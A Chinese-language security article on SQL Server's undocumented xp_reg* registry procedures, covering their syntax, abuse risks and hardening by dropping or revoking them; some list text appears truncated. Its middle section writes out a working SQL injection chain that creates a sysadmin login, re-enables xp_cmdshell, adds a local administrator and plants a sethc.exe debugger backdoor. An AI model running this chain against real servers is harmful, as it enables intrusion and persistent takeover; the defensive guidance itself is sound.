SQL Server 7.0 起內建數個未文件化的擴展預存程序(xp_reg* 系列),可直接讀寫 Windows 登錄。雖功能強大,但屬「非公開、未支援、隨時可能移除」特性,且常被惡意程式碼利用進行權限提升、偵察、持久化。本文詳細記錄其用法、**風險分析**與**停用建議**。
| 程序 | 功能 | 語法 | 範例 |
|---|---|---|---|
xp_regenumvalues | 列舉鍵值 | xp_regenumvalues @rootkey, @subkey | EXEC xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' |
xp_regread | 讀取單一值 | xp_regread @rootkey, @subkey, @value_name | EXEC xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'CommonFilesDir' |
xp_regwrite | 寫入值 | xp_regwrite @rootkey, @subkey, @value_name, @type, @value | EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestVal', 'REG_SZ', 'hello' |
xp_regdeletevalue | 刪除值 | xp_regdeletevalue @rootkey, @subkey, @value_name | EXEC xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestVal' |
xp_regdeletekey | 刪除整個鍵 | xp_regdeletekey @rootkey, @subkey | EXEC xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\TestKey' |
參數說明:@rootkey 為根鍵字串(HKEY_LOCAL_MACHINE、HKEY_CURRENT_USER 等);@type 為 REG_SZ(字串)或 REG_DWORD(整數)。
sysadmin 後,可呼叫 xp_regwrite 修改服務啟動參數、登入腳本、映像劫持等實現持久化;SAM、LSA Secrets 相關鍵值,離線破解密碼雜湊。xp_regenumvalues 掃描 HKLM\SYSTEM\CurrentControlSet\Services 發現安裝軟體、服務配置、SNMP 社群字串;xp_regread 讀取網路配置、Proxy 設定、防火牆規則,繪製內網拓撲。xp_regdeletekey/value 刪除關鍵系統鍵值導致作業系統無法開機、服務啟動失敗;HKLM\SOFTWARE\Microsoft\MSSQLServer 破壞 SQL Server 自身配置。-- 1. 判斷註入點與權限
.../page.asp?id=1 AND USER_NAME() > 0 -- 回傳 'dbo' 轉換錯誤,確認 sysadmin
-- 2. 新增 SQL 登入
.../page.asp?id=1; EXEC master..sp_addlogin 'hacker', 'P@ssw0rd';--
-- 3. 昇級 sysadmin
.../page.asp?id=1; EXEC master..sp_addsrvrolemember 'hacker', 'sysadmin';--
-- 4. 啟用 xp_cmdshell(若已移除則先加回)
.../page.asp?id=1; EXEC master..sp_addextendedproc 'xp_cmdshell', 'xplog70.dll';--
-- 5. 建立系統帳號並加入 Administrators
.../page.asp?id=1; EXEC master..xp_cmdshell 'net user hacker P@ssw0rd /add';--
.../page.asp?id=1; EXEC master..xp_cmdshell 'net localgroup administrators hacker /add';--
-- 6. 登錄持久化(映像劫持)
.../page.asp?id=1; EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE',
'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',
'Debugger', 'REG_SZ', 'C:\Windows\System32\cmd.exe';--
USE master;
EXEC sp_dropextendedproc 'xp_regenumvalues';
EXEC sp_dropextendedproc 'xp_regread';
EXEC sp_dropextendedproc 'xp_regwrite';
EXEC sp_dropextendedproc 'xp_regdeletevalue';
EXEC sp_dropextendedproc 'xp_regdeletekey';
EXEC sp_dropextendedproc 'xp_regaddmultistring';
EXEC sp_dropextendedproc 'xp_regremovemultistring';
EXEC sp_dropextendedproc 'xp_regenumkeys';
注意:移除後應用程式若有相依性會報錯,請先在測試環境驗證。
REVOKE EXECUTE ON master..xp_regenumvalues TO PUBLIC;
REVOKE EXECUTE ON master..xp_regread TO PUBLIC;
REVOKE EXECUTE ON master..xp_regwrite TO PUBLIC;
REVOKE EXECUTE ON master..xp_regdeletevalue TO PUBLIC;
REVOKE EXECUTE ON master..xp_regdeletekey TO PUBLIC;
-- 僅保留 sysadmin 可執行(預設即如此)
sp_addextendedproc/sp_dropextendedproc;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options 等)審核寫入事件。| 版本 | 支援狀態 | 備註 |
|---|---|---|
| SQL Server 7.0 | 內建 | 首次引入 |
| SQL Server 2000 | 內建 | 保留相容性 |
| SQL Server 2005 | 內建但標記棄用 | 建議改用 CLR 整合或 PowerShell |
| SQL Server 2008+ | 保留但可能未來版本移除 | 官方文件未列出 |
xp_reg* 系列是 SQL Server 歷史包袱,**生產環境強烈建議全部移除**。若業務確有「從資料庫讀寫登錄」需求(極罕見),請:
EXTERNAL_ACCESS 權限集),以 Managed Code 實作,受 CAS 沙箱限制;安全原則:**預設拒絕、最小權限、深層防禦**。未文件化功能 = 不可信功能。